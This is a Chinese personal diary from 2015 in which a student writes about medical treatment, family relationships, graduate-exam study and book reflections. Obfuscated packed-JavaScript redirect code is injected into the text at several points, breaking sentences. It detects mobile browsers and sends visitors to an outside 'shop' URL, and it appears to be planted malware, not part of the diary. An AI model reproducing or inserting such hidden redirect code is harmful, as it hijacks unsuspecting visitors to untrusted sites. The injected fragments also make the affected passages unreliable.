电影中女主的那顶浅红色男呢帽，我觉得选得不能再好了。只是那双鞋，和我想的很不一样。他们最后没能在一起，开始也就决定了不可能。这不是我想要的爱情，也不可能。不论哪个方面，我都比女主幸运的多。不过，女主很有想法，我喜欢。 昨天中午我做了核磁共振。那里面的灯光和噪声让我想到《1984》里的101监狱，不知道时间的流逝，在无法控制的痛苦中无尽等待。忽然发现，失去时间的衡量是很可怕的。真的很奇怪，明确知道时间的消逝让人安慰，这又是一种全新的体验，尤其当我看到自己左关节的影像，以及坐在电烤机器的边上理疗。生命无止尽，永远不要停下脚步。 2015年3月27日 星期五 晴 在李教授的同意下，我的返校时间又推到了“五一”，简直不敢相信！理疗四天后，我的膝关节也在迅速恢复中。 前几天，奶奶送下来了一碗鸡汤，几天后又送了一罐糯米饭。我可以感觉到我爸的心情因此愉悦。我也意识到自己之前的做法是多么不当。我一次又一次无情地揭穿奶奶对我们无爱的事实，可我爸又何尝不知？我现在仿佛可以感受到那个深藏在我父亲内心深处渴望关注与爱的小男孩。 不论爷爷奶奶做了什么，都是他的父母。就像我想尽一切方法想让父母开心，在意我，关注我，了解我，因为我认为小时候我没有得到父亲的爱，而父母的教育又过于严苛，那我爸呢？他又得到过什么？无尽的不兑现的承诺？同样作为亲生骨肉的对比？每个孩子都是无辜的啊！我忽然理解了我爸，不过仍旧有不当的地方，因为是我母亲给了他爱，教他如何去爱，我不懂我爸是否意识到了这点。但我日后一定会给我孩子足够的爱。 2015年3月29日 星期日 晴 梦是很神奇的东西，我有时不得不怀疑梦所反映的事物是否真的是我心之所想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317861|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从去年考研后期开始，我的2个小时午睡变得非常美好，常做梦。这几天晚上也挺不错的～昨晚梦见一大师写出“得道古今”四个大字，他圈出“道”字，对我说：“你得道很多！”当然我不确定是不是“得到很多”！我很久没有梦见过师傅了。 刚刚在梦里，我正为自己的高考失败撕心裂肺地哭。因为高考连带考研我痛苦了多年，这是我的内心吧！我总在对比为什么那时没有人救我，又在想现在又有多少孩子正在被毁，因为关于“早恋”的不得当教育。现在的我不再去想别人，我要自救，然后我要去救更多无辜的孩子。 2015年3月30日 星期一 阵雨 中午刷知乎，发现自己有轻度抑郁或抑郁边缘的症状。我和答主的情况非常类似，家庭。当然我的状况比她好，自己也在无意识中自我治愈。我在发现自己的内心越来越强大的时候，有一种说不出的复杂情感。 我很无奈，发现我爸和艾德很像，真的没有政治头脑。我想努力去保护他，但也明白，自己本身是关键。 昨晚看到：“母爱是一种天性，孝顺是一种觉悟，所以孝顺与母爱来的伟大。”最近我隔三差五在帮我妈挖耳屎，今天中午居然还开始帮她耳朵上油。我还在孝顺的路上努力摸索，前路…… 之前我傻傻地认为我可以在越南的海景房看到日出和日落。后来浩子告诉我，日出和日落是不在同一个地方的，他还说黑柳彻子也在书中提过她犯的这个错误。今天我也看到了这个片段，心中有莫名的亲切感。彻子还说：“人总是以自我为中心地规定时间，然后说，这是本世纪最后的日落。”我会心一笑，是啊！太阳还是那个太阳，从来不会有什么哪个时间段的太阳，我以后也不会傻乎乎地规定要哪天看日出日落了吧。 在芽庄的那两个早上，我瞥见了一点日出的样子，那种等待和期盼真是美好。另外，看日出的我早起了～ 2015年3月31日 星期二 晴 距上次我找小表弟聊天过去了整整一周，今晚和他电话，显然他没有太好的履行他的承诺。孩子总是需要人引导的，我当然也知道教育他人的不易，不过我一定尽力。 通过这几天的外文翻译，我越发感到了自身的不足。我的外语水平根本无法支撑我的研究生学习，即便是这样，每进步了一点点我也会万分的高兴，就是因为这样我才能坚持到现在吧！ 《小时候就在想的事》让我想到了很多。《贺卡》里说到美国人对于贺卡的热爱勾起了我对美国的回忆，我也曾站在一排排无尽的贺卡柜台前感受那一点一滴的生活乐趣；《抢座大妈》里的事让我不禁感叹，原来日本也会有抢座位的人；《我的母亲，我的哥哥》里渥美清分明是爱着彻子的。还有贞子女士和她丈夫的感情让我着实落泪，这是多么美好的感情，相互扶持，相互爱慕。但全书最让我难以释怀的是难民营里的孩子，他们被无情地剥夺了一切天真快乐的权利。为什么会有战争？连基本的温饱都存在问题，谈教育真的是很奢侈的。我们是如此的幸福和幸运。 真正的幸福是什么？是能够和家人在一起相视而笑的家庭。我想要努力，让更多的人幸福。 大师傅以前在引导我开悟的时候也很难，毕竟我不是一个太好教育的孩子。现在的我又到底进步了多少呢？努力啊！永远不要放弃！ 95.大四（5） 2015年4月1日 星期三 晴 想慢慢地把《樱桃小丸子》看一遍。第一季第一集《小丸子想养小狗》。我小时候也一直想养一头小狗，这似乎是很多小朋友的愿望，现在回想起来真的很美好。因为不知道从什么时候起，我的记忆似乎就集中停留在了模糊的高中。说模糊是因为高中似乎只发生了“早恋”这一件事，然后就立马跨度到了二十岁以后。我开始觉悟，至于其他的时间段记忆我好像都不在意或忘记了，偶尔记起也觉得很不堪。好像在刻意回避一样，我的人生只发生了那几件大事。现在我仍旧不太想去记起太多，若是《小丸子》能帮我化解，也未尝不是好事。 今天开始看《性学报告》。随着阅读量的增长，我发现自己真的是一个思想优秀的人。对于很多问题的思考和看法在无意识间走在了时代的前列，包括我对于人生，情感和人的感悟，对于生活细节、品质和点滴的认真观察及美好追求，对于自身生理和心理的好奇探索。我为我自己感到骄傲，我会因此更加自信、更加美丽。 2015年4月4日 星期六 晴 晚上看到了月全食，超级开心～下午和我爸聊天，终于把积压的问题都挑明。早上去了乡下师傅那里，因为人多话没说完。中午回来午休，梦见了师傅，把话说全了，就是这么神奇。本来有很多想要写的话，但今晚计划被打乱，现在太晚。记住：努力，努力，再努力！命运全在我自己手里！ 2015年4月9日 星期四 雨 通过这一段时间的学习，我发现自己真的好弱，不论是英语、数学，还是专业。英语的词汇量和写作、翻译能力，数学的基础，专业的基本问题，我是不是真的还没有准备好？越发感觉到差距的存在。我想努力，可又努力不太起来。以往的人生可以说真是没努力过……我现在也只能这样一点一点地补起来。 昨晚心跳超快，以至于我居然被心跳震动醒来久久不能平复。连续四天熬夜的结果？昨天连6000步也没有凑满，真是没坚持几天又不行……身体还是重要的。 《性学报告》远没有我想的有意思，不过倒是让我更好地认识了自己。对于自己的探索是无止尽的，因为往往是自己本身带给我惊喜。我要爱护我自己，然后创造更多奇迹。 最近在家的这种日子真的很闲适。我不懂有多少人可以有过这种轻松和感悟，意识到自己的不足和渺小，与自己的内心做斗争，努力去坚持一些事。对我来说，真心感激。“天将降大任于斯人也，必先苦其心志，劳其筋骨，饿其体肤，空乏其身，行拂乱其所为也，所以动心忍性，增益其所不能。”我可以！ 2015年4月10日 星期五 阴 最近听到大都是关于考研的喜报，我一定要调整好心态，我的问题是：想的太多，读书太少。这两天都不够6000步了，昨晚11：00睡的，今天状态果真好。人身体不好也是醉了。 我顿时理解了去年放弃数一的自己，那时的我内心几乎是崩溃的。全书从1到19页，一共18题，我能直接做对的只有3题，剩下的题目看了解析也是直接蒙了。今年再来，除了涉及到后面知识不做的3题，有6题做错，这6题中只有1题我不太理解。至于这种进步怎么来的，我不懂。不过现在心情真不错。 我在想是不是应该把我能想到的童年的碎片都记下来，拼出一个完整的我。今天背百词斩看到了化学试剂的各种颜色，记起了小时候。一天心血来潮，想要在罐子里装上有颜色的液体。于是在玻璃瓶里装上了颜料水，可不久就沉淀褪色了，当年真是百思不得其解。后来在学化学的时候，学到水中因为有离子才有颜色，似乎也会回想起那个下午。那件事的片段被多次记起了呢。 2015年4月11日 星期六 晴 嗯，要写一篇长日记。《长歌行》一至七卷让我感悟诸多。 真是意犹未尽，太期待接下来会发生什么了。第一卷其实是前几年浩子去杭州给我买的，昨晚波波送来了一到七卷，我也就急着看完。看完第一卷，只认为这是一个不错的故事。第二卷的末尾却让我震惊。公孙恒为了朔州白姓免受突厥屠城，他自刎，让长歌献上他首级献城，长歌痛哭，没有人会感激，没有草民会记得。秦古却说：“他又何尝需要这些。济万民是公孙恒的道。”我想到了我自己，我选择去做科研，不愿下到基层。因为所谓为百姓做事，换来的却是不理解，甚至于是漫骂。如果我真的决心去为百姓，我根本就不会在意，我只做我想做的，不在意别人怎么想怎么说，这种境界，我没有。 一旦圈入政治斗争，若不能全身而退，便死无葬身之地。为了保护长歌，也死了不少无辜的人，所以一定要做主角，否则都不知何时为人陪葬。而且，这世上本就没有真正的对与错。李世民不杀李建成他自己就得死，可他杀了李建成，长歌就要为父报仇，长歌也没有错。长歌相信了弥弥，却让弥弥以奸细的身份死得更痛苦，那怎样才是对？长歌在意朔州的百姓，即使被曲解为卖国贼也不忍让阿史那隼杀生。她为流云观安置灾民，又不忍流民受苦。她要亲手击杀这乱世！即使杀一人无济于事，可她却仍想手韧李世民，这是“乱”，可她的本心却是“治”。她善于用计，却迷失本心，这种种纠结矛盾该如何是好？ 杜如晦也没错，只是官僚做久了，就会牺牲他人达到目的。他为了大唐盛世，弃朔州，轻流云观，可这也是他无悔的道。 那我呢？我自命不凡。感激师傅们对我的点化之恩。从未说我不好，耐心引我成长。看观主对长歌教海才懂师傅用心，这种心性我还差得十万八千里。诲人不倦，教诲人也是不易。对于河流而言，无所谓来饮水的是鹿獐还是虎狼，那我又是虎狼还是鹿獐？或是我本想做的是河流？我的道是什么？我也是这样矛盾纠结。还有，是这么男子气。这种说法是默认了男女有别吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333841|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！根深蒂固也是无奈…… 引人思考便是好书，《长歌行》给了我惊喜。 昨晚和我的小辈吃饭，听他们讲现在学校里的事，却感觉到很不一样。现在的高中生似乎有更广阔的视野，我又越发感到了差距。我调侃波波，问他是否不喜欢现实生活中的妹子？是不是现在仍旧没有恋爱的想法？我只说女生太没魅力，无法吸引他的目光。他回答：不能说女生没魅力，只是还没戳到他的点。自愧不如。 师傅总说能梦见便是有缘，那若是常能见呢？我就是想太多，那虚无飘渺又怎么抓得住？珍惜眼前人才是正道，我这一生到现在，好好爱三个人就够了。 2015年4月12日 星期日 多云 忍不住去网上看了《长歌行》的更新。长歌已经找到了她的道：兴唐。走自己的路总会被人误解，可只要坚定了就要走下去。秦古一生只为幕僚是因：有术无道。道是困扰圣贤的障碍，那要成长为将帅，一是努力，二是思考。我也要更加努力了。 看“知乎”的启发不记下又会忘了。“如何高逼格度过大学的最后三个月？”我来疯狂读数学好了。感谢答主“王紫”这几个答案的启发：“3.狂背单词，狂练听力，狂练口语；7.制定一张10本书单，每读完一本写一篇3万字长评。”特别想做7，但现状只能改为“狂读数学”。大学的最后三个月，过了不再来！ 问题：“有没有那么一瞬间你觉得某人不可交/交错了？”只有不同道路的人才不可交，至于每个人的缺点，要学会包容，以上，加油！ 那啥，我的大学只剩两个月……统计ihours里的“考研数学”现变为“狂读数学”，已坚持天数为25天，平均每周5.1h，今天已读0.8h，现在15：25，让我来刷记录！（P.S.已积累26h） 2015年4月14日 星期二 晴 今天有几件值得开心的事：一是10天的中药喝好了；二是晚上教会我爸用“支付宝”；三是向阳哥哥帮我解决了一道数学题，又让我发现了新问题；四是明天裘伯伯终于带我去看现场。 今天我在听高数视频的时候突然很开心，觉得考研是一件很有意思的事，包括高考也是。因为我们目标明确，而且很清楚怎么做是对的。其实人生没有几次这么好的事，这是只要努力，就一定是好结果的事。你根本不用去想道路方向的问题，这是一种明朗充实的幸福～ 昨晚去买田七，遇见一对年少的情侣进药房，看那男生游离的眼神和尴尬的动作，我猜是来买避孕套的，结果是来买24小时紧急避孕药的。更令我吃惊的是，这种药是一粒一粒卖的，且和清凉油、创口贴一起放在随手可取、购买频率最高的收银台底下的柜子里。我心里说不出什么感觉，那初中生样的女孩又可怜又愚蠢，那男人也不是真爱吧！只记得书上说24小时避孕药万万不能吃。人一定要自爱，那女孩将来后悔怎么办？ 96.大四（6） 2015年4月16日 星期四 晴 日子飞快，下周要去石头城了，想到坐火车，头大……昨天早上七点半到九点半，裘伯伯算好的时间带我去了几个点，受益匪浅，却因为六道积分问题未能及时记录。 昨天一路几乎都在说话，学了不少知识。裘的专业不是盖的，加上实践，让人佩服！被从五大设计院骗回来结婚我也是醉了，打电话时说一句：“对，我还在**局”。无比辛酸，做水保去找**出面监察被说“吃多了，别人都不管。”人生就是这么戏剧。这华东水利的高材生，活生生被现实吞没，做小人物就不可能像大人物那样说话掷地有声，所以为了自己能活得舒心一点，也该往上爬。不过，要有耐心，忘记那句“出名要趋趁早”吧！ 我把自己遇到的问题基本问了遍，受到了很多启发。去了一个莹石矿，看到几个小狗仔，然后很想去外婆家看看自家的小狗仔，偏了……矿对面的山头被剥光去种茶，坡度大于25°不可以开山，那山至少有30°，呵呵！裘说只有让他们经历了环境破坏的恶果他们才会醒悟，所以现在大力做宣传教育，希望可以教化一代人，满满辛酸泪……对于这种人和事，我想到的只有“眼不见为净，决不去基层。”是的，我没有更好的办法，会想说教育，可是教育该从何做起？ 2015年4月20日 星期一 暴雨 睡不着，想太多了……现在凌晨一点五十，在下暴雨，坐在床上，干脆把想法都记下来。 现在是最适合去丽江旅游的季节，考上的同学我看见她们发的照片了。 大家总说我像高中生，只有十七、八岁。后来我想，干脆以后别人问我高几？问我十七还是十八？我就满足他们的心理说十八岁。今，不，昨晚买鞋，她们问我十七还是十八？我说十八，她们满意地点头。回来之后，也就是我躺在床上睡不着的那段时间，我忽然想玩一个“骗人游戏”。每次出门总会遇见无关的人问及年龄、学校、专业之类的隐私，不是真的关心，不答又难免尴尬，那我为什么不尝试不同的角色扮演？这绝对无伤大难，又满足了我自己旅途的乐趣～今晚是第一次，接下去有机会的话试试，一定记录下来。 这几天拖了很久，终于把论文大部分写好，然后发现自己很想把论文写好，却没有这个能力。通过这段时间的学习，我越发羞愧，自己真的没有多少真材实学，这也让我害怕。实力的不足我要一点一点补上，不懂为何之前从未认识到这点，凡事都需要机缘吧！ 数一比我想象中要多，到底多难我不敢妄下定论，不过今年过来确实状况有所改善，我认为努力下去，希望还是很大的，这点加油！ 几天前开始看柴静的《看见》，感触很大，并不是对书本身，而是由人想到了一些事。我对柴的印象似乎不太好，理由忘记了，好像是因为她私生活的什么事。可我发视自己又犯了同一个错误，过早去评判一个和我无关的人。这里的重点是“过早”和“无关”。我看了她的文章感觉像我在说话。我就是这样做了，这就是我真实的样子，可总有人说我“装”。总有人说我“不检点”，虽然在我看来只是我喜欢和男生说，所以，他们说柴靠老男人的饭局我怎么可以轻信？就算是，又与我何干？我只要她的报道让我思考，给我启发就好，至于她如何上位又怎样？没有别人帮助赤手空拳又能为社会做什么？也是够了！我也曾把别人扭曲，为了我自己的某些不可告人的小九九。当然不至于“不可告人”，只是为了小事，所以更不应该，所以我改！ 目前记得这么多，困了，估计可以入睡了。 我深切怀疑如果不把剩下的两点补齐，我会不会被自己憋死……先是，我在想，剩下的回到学校的日子我要每天把自己打扮得美美的。然后是给托马斯的邮件可以用中文写，时间充裕再写英文，毕竟他也要学中文嘛！虽然刚发的那篇中文信息量巨大，不懂他是否可以承受……我还把邮件截了图。今天早上状态不太好，把这些破事全做了就可以学习了吧！似乎深睡三小时以上我就会醒，不过最近睡眠真心不错。 西红柿、桑葚 2015年4月21日 星期二 阴 连续这段时间的晚上，我们全家人都在读书。我在房间看数学，我妈在书房学经济，我爸在小房间看书。累了我去串门，又满满的安心坐回来学习，这种感觉简直接呆！如果从我小学开始家里就是这种氛围，那我是不是会更优秀？ 西红柿和桑葚这档事老是被我忘了……很多年未吃到令人惊艳的水果，今年却连着吃到两样。买水果前早已知道了会是怎样的口味，然后根据此时所想挑上几个。可当真正吃进去时，猛然发现是如此好吃，这便是惊喜，又或许是心态有变吧！ 我打算把ihours的“拉伸项”删除，然后专注每天的“6000步”，近一周完成率大幅下降。眼睛、颈椎、副乳、腰、臂、大腿、膝盖，都是我需要保护或锻炼的。当我发现自己只是瘦却没有腰的时候，我是很震惊的……好吧！早先有一点点觉察……然后应该把运动量分摊开，而不应该过于集中在傍晚之后。比如，起床后，早上和下午休息的间歇，都应搭配一定的运动量，那么这种件事，就从今天开始吧！ 我每天的新想法真是层出不穷，那一个词叫“瞬息万变”。 2015年4月23日 星期四 多云 心里莫明升起一股烦躁，各种事情在一起让我不爽，也不至于不爽。昨天收到Thomas邮件，他暑假要来中国看我，这是一个让人开心的消息。 开始做外文翻译才发现自己的能力这么弱……口语听力不错，阅读进行，但翻译和写作……我想到今后可以通过翻译英文原著来练习，就从《哈到·波特》开始，又可以去买一套中文版，一举多得～英语是长期积累的事，等不得，但也急不得。得知很多同学的毕业论文只是拿材料来改几个数字，顿感自己的努力和辛酸，即使结果也不怎样。 昨晚硬是坐在书桌前看完了柴静的《看见》，这本书像是她的日记，记录了她自己的成长。我发现我和每个人都有那么一点相似，这一点一点的与不同人的相似组成了我。这次的书评我打算按文章顺序，一篇一篇写。 《别当了主持人就不是人了》：柴刚进央视，一股子的锐气，自以为是。我一直记得的是年底晚会上同事模仿柴的采访场景，台下哄笑，我不知为什么瞬间就可以感受到那种被当众嘲笑的感觉，就是可以。新的环境、新的事物，总是要有一个摸索的过程才能适应，刚开始的时候，又是那么迷茫，而我又是那么傲气，所以连同所有的指责、赞扬和引导一并承受。 《那个温热的跳动就是活着》：我是哭着看完这篇的。非典的时候县城并未受到太大影响，我从不知道在当时的北京是那种情况。生病的脆弱、无奈，死亡是那样不经意，我形容不来，有一种深深的悲悯。 《双城的创伤》：我记住的是柴为小男生擦眼泪的镜头，她因此被说成是“表演性主持”。就在这一瞬间，我之前对柴的所有偏见化为乌有，而变成了一个感同身受的人坐在这里看她的成长。不论你做什么，总有反对的声音，即使是真情流露也被说成是“作”，而我为什么也曾对他人有过这种恶意？那我岂不和以前的那些人一样的“恶”。 接下来几篇的采访对象分别是被戒毒所卖去做妓女的吸毒的女人、同性恋、因家暴杀夫的女人、坚持违护公民权益与权力机关对抗的人、“虐猫视频”的人、耍猴的人，还有后面一篇提到的药家鑫。我们总是轻易地就对他们下结论、贴标签，不诚信、恶心、凶残、疯子、没人性、残忍、丧心病狂……可当你真正了解了事情之后呢？给每一方说话的权力，学会理解、公正，不要妄下定论，不要被煽动，保持头脑冷静。 《许多事情，是有人相信，才会存在》：这讲的是柴做两会的节目，并不像外界讲的节目如何如何成功，柴也在不断地犯错，但她从未放弃，一直努力在改。所以为什么不给人机会？我们要看到别人的努力。所以，我绝不再做“恶语中伤”别人的事，但，我还是不太赞同不努力的人。 《真相常流失于涕泪交加中》：有人哭了，可哭的不一定是弱者，不一定是好人，不一定对。还是那句话，让每一个人把话说完，还是过于简单地划分绝对的黑白对错，真是太不成熟了。 唐山地震和汶川地震唤起了我生命中痛苦的点，从未经历，也不敢轻易评说。面对这类问题我总是无助，反复在想：人性是什么？ 《无能的力量》这篇的阅读我全程都是摇摆不定的，最后我仍旧持保留意见。但是有几点让我受益匪浅。1.“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344700|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中国人太急：来不及打好基础，就要看见成果。你不要以改变为目的，它压的太重。不这么去想，改变自会发生。慢慢理解为什么是这样，理解了就觉得当然是这样了！”这有一种飘忽的真实感，我慢慢消化； 2.“很多人的信仰是没有独立个人意识的迷信，是一种提出条件的思想——如果我做什么，就得到什么结果。”太硬了，至今消化不了…… 3.“卢安克的学生说：“如果一个人为了自己的家，他家人就是他后代；如果一个人为了自己的学生，学生就是他的后代；如果一个人为了人类的发展…”全人类吗？这是博爱最好的诠释； 4.“以为自己的名字能给别人力量，是最坏的一种幻觉或邪教.”我在矛盾中纠结思考； 5.“只有当人们能感到创建自己世界的满足，不会与别人比较，不会因为钱，因为外界的压力感到被抛弃，这才是真正的归属。”这是一堂哲学课，我还没学好…… 还有好多话：1.“太投入，热爱就会夸张，感情就会变形，就没办法真实地认识事物了。”对，这就是我；2.“嘲笑、轻蔑、愤怒、报复……这些情绪，都与恨有关或含有因恨而起的成分，不能成为善。”；3.“你们老说想去表达自己的思想，老觉得谁限制你们表达思想。我想问问你，你有思想吗？你有什么思想我请问？真让你开始去想的时候，真让你拿出自己对问题看法的时候，你能有看法吗？”这个问题放在我对“创新思维”的看法上。以上，字字珠玑。 犯错，改正，往复交替。不论是谁都无可避免。柴静也是一个人，一个有血有肉的人。我和她有很多相似之处。自以为优秀、以自我为中心、被自己感动、倔强……感谢别人给予的包容。柴静的书更像是写给自己的总结。 看到药家鑫的那件事，我一直在心里想：他父亲怎么这样，他被他父亲害了……可是后来我又看到一句话：“父母也是人。”这一句，够了。不爱是残忍，太爱又成为了一种负担。我穿梭于这纷繁的人世，要体会的太多，体会了才能说懂得。 2015年4月24日 星期五 多云 又错了，又错了，又错了！今天看到知乎上某985水利工程研究生的回答，在行业金字塔顶端的人情商都是极高的，情商高是必须的，只有这样才有可能跻身，这不能成为优势，不能啊！已经到了研究生这个平台，情商、英语水英这都是你必须要有的，因为人人都有。所从我承认吧，现在的我，就是个学渣。我要从头开始，一点一点提升自己的配制。 论文不行，被李教授换了一篇不用改格式的设计。我也一样，没有能力做出什么改变，去改别人的设计书，甚至现在我不能很好地看懂。打击，我没有水平……我只能从看懂这篇设计开始。 一切，从“新”开始。 我第一次感到惶恐，我发现自己荒废多年没有本事，没有实力。我学的是理工，渣就是渣。不要急，不可以急，我要一步一步稳扎稳打，我要努力重新认识自己，再也不要吊儿郎当！从现在开始，努力！我是一个本质懒散又有惰性的人，感谢师傅没有揭穿。加油！ 2015年农历年以来，在我身上到底发生了什么？我的巨大改变，领悟。今年没考上于我是幸运的，我根本没有准备好，我可以想见自己的膨胀，和后来重重的打击。总以为考上华东水利的研究生就逆袭了。不是这样的，远没有结束。我要沉下心来，沉下气来，一步一步，向前努力。前路比我想的艰险，深呼吸，我一定可以。十八年，重生！ 2015年4月28日 星期二 晴 这是第一次，因为要离开县城我那么伤心难过。26号凌晨在火车站的各种不适应，26号晚上疯狂想家，今天似乎没什么大问题了。 昨天拖到下午去了宜家，感觉不错却没有太多心情去逛，只觉得疲惫。晚上总算是请了那餐饭，感谢大家的帮助，虽然没考上。 这两天没怎么学习，直觉得大脑混乱。石头城已经进入了夏天，这里的天气真心不怎样。这次来的火车上和昨晚吃饭又让我记住了一件事，少开口，因为你懂的真的不多。 昨晚看了He’s not that into you，发现其实我也就是一个蠢女人，是的……还想太多。我也是服了自己，努力吧！ 97.大四（7） 2015年5月1日 星期五 多云 连续熬夜多天……现在的我似乎已经习惯于辗转各个城市之间，大城市在我看来差别不大。商场、宾馆、地铁、公交。 大村庄这个城市或许以后很难再来了吧！有一种很奇怪的感觉，低物价，干燥少雨的天气，我以后是不是会很怀忘？ 从家到学校这段时间真心没怎么读书……四月转眼就过去了，我真的又要开始努力了！今天多读一点，以后多考一分，我要相信自己！ 《我们结婚吧》大烂片……《灰姑娘》里的继母才是气质典范，不过灰姑娘的那套礼服真的美翻了～剧情确实很狗血。昨晚看了大一到现在的照片，果真是从那次“清明”去武汉开始的，2013年大二下？我开窍了。 2015年5月5日 星期二 晴 从3日返校开始，忽然发现努力进入“学民”状态的感觉不错，加上6000的运动量和每晚不熬夜，真是不错～ 最近忽然发现学校很多女生有一种打扮“太用力”的感觉，这真是一种……不评论。《五十度灰》大烂片，妈咪们的色情书真是不好看，女主随随便便就不行不行的……烂片！《情迷维纳斯》就是我看着很累又不太懂的片子，冲着色情片段去的，结果，没看见什么……这两部电影我都没看完，也不想再看了。 每天需要对着电脑的感觉很充实，但也很疲惫。我知道自己还是不够努力，现在有点脑子空空，我继续论文好了。 2015年5月6日 星期三 多云 感觉自己最近心态不怎么好，老是想去厌别人，把别人比下去，想到某人说的“见不得别人好”。是压抑了太多年，考研失败又不得不沉寂下去的原因吧！那我岂不是要隐忍多年？那干脆学会真正的低调好了。 我好像太喜欢挑别人的毛病，大家都是人，算了吧！我自己也好不到哪儿去。我不是真的在意别人怎样，为何又那么在意别人是否真的在意我呢？这么多年总算是想通。大家都好好处，好心态，自己要努力，这样子感觉一下子轻松了好多。自己要想明白，不吐槽别人，过一会儿就忘了。所以每天少说一句，日子久了就真忘了。凡事不要太计较，这样才有更多精力做自己喜欢的事，会越来越好。 2015年5月7日 星期四 多云 早上的开题报告我觉得无比无聊，我看不出有什么技术含量……然后就是我发现自己真的活在自己的世界里，和别人没有太多交集。通过《地下水污染与防治》课的阅读，我更好地理解了我要做的事，也对我的外文翻译有很大的帮助。 终于，我看完了《海蒂性学报告：女人篇》，ihour关于每本书的时间统计只是一个大概，天数误差不超过一天，时间误差不超过一小时。怎么说呢？这本书让我更好地了解自己，帮助我更好地享受生活。我在看这本书的时候并不像我想的那样，就是想着看色情片的刺激和美感，虽然色情片一向让我失望（好吧，连我自己也不知道到底期待看到的是什么……）。 这本书的大部分内容让我觉得枯燥，偶尔会灵光闪动，哦！原来我是这样，嗯！学名是这个。大致也就这样。倒是“□□”这个词看了我满眼，这个理论就目前的我而言是符合的，但是全书似乎把“□□□□”描述得很没有意思，这让我不禁对日后的“□□□□”的期待大打折扣。 当然，这本书更让我明白，我现在所做的正确的事。情侣、爱人间的沟通，坦诚、磨合，这无疑会让我们日后更加幸福。至少现在我们俩对于现阶段的关系是非常满意的。这本书让我更确定了这种满足感。用大半生的时间去和另一人接触，相互了解、磨合，一起享受生活，分享只属于两人的秘密和快乐。所以，我想一生和一人吃KFC（知乎的梗，哈哈）。大山让我感到安全、幸福和满足。当然，幸福是靠自己挣来的。 2015年5月9日 星期六 阵雨 小时候总想快点长大，长大到什么时候呢？可以恋爱了？可以结婚？可以远离父母？可以经济独立？最好的年华就那么几年，过去之后就开始害怕长大，而这时已不是长大，是变老。 喜宝遇见勖存姿的时候只有二十一岁，是剑桥三圣一的学生。我忽而想起，我今年二十二。这类故事总是发生在女子十五到三十的年华，因为青青尚好，可以犯错。不，因为年轻，容易犯错，然后往往影响终其一生。 喜宝刚从英国回来与她母亲谈话，她母亲在十八岁顾着谈恋爱，结果就是嫁错了人，带着喜宝苦到了现在。是呀，回忆有个屁用？！可是换到当时，无论返回去多少次，还是会只顾着恋爱，哈哈！这就是我，我想要爱。 “人生下来个个都是戏子，非得有个基本观众不可，所以要恋爱。”这是作。 “我看着脚下的草地，青绿得可爱，在这种地方应该有人陪着散步至永恒，才不枉一生。”这种想法极自我，显然把自己当作戏剧的主角了。可是这种想法我常有。 喜宝与韩国泰去看电影，忽然在吃冰淇淋的一瞬间感动，只觉幸福。然后电影散场，被冷风一吹，便全忘记。我是不是也是这样？很多时候是，我自己在演戏一样。 喜宝说：“我需要爱，很多的爱，如果没有爱，那么给我很多的钱，如果没有钱，那么我还有健康。”这句话，她说了多次，这让我想到一个人。她和喜宝境遇很像，只是，她不美，不如喜宝优秀，没有了年轻人的健康，也还不曾遇见勖存姿这样的男人。她现在仍旧努力，去过英国，将要在香港。 喜宝说：“如果我不能哭，我就病”这让我有一种哀伤。 “聪慧永远不能下决心恨一个人，她恨我，恨一阵子也就忘了。下意识她知道我是她认可的敌人，她应当刻薄我欺侮我，但是她做得不成功，她时常忘记她的任务，她是这么可爱。”这也是我的可爱之处？ 关于牺牲有了新的认识。“我最怕别人为我牺牲，凡是用到这种字眼的人，事后都要后悔，将来天天有一个人向我提着当年如何为我牺牲，我受不了。”我想到我妈，我又想到自己。我说一切前途为重，不存在为谁放弃什么，是这样吗？永远是？还是我怕承担什么。 “没有人能伤我的心，可是我自己能够”。这句话让我心疼，心疼我自己。 以上是我用手机拍下来让我有感的片段，简单地评述一下就罢，因为话语本身就是我的表达。 我开始怀疑我也会爱上一个老男人，如果能遇到勖存姿这样的人。后来的喜宝是由他塑造的，当然，喜宝本身是块好材料，你不必花时间解释你的想法、行为，因为他洞悉一切，还能给你一切。只是他老，至少六十五岁了。我又想，如果一切变得唾手可得那人生的意义在哪？我不懂，也永远不可能切身体会，但我却感到幸运，我觉得自己的出生很完美，有一定的基础又有很多东西值得努力，充实而幸福。 还有关于爱和了解。父母和子女、夫妻、朋友，他们之间真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 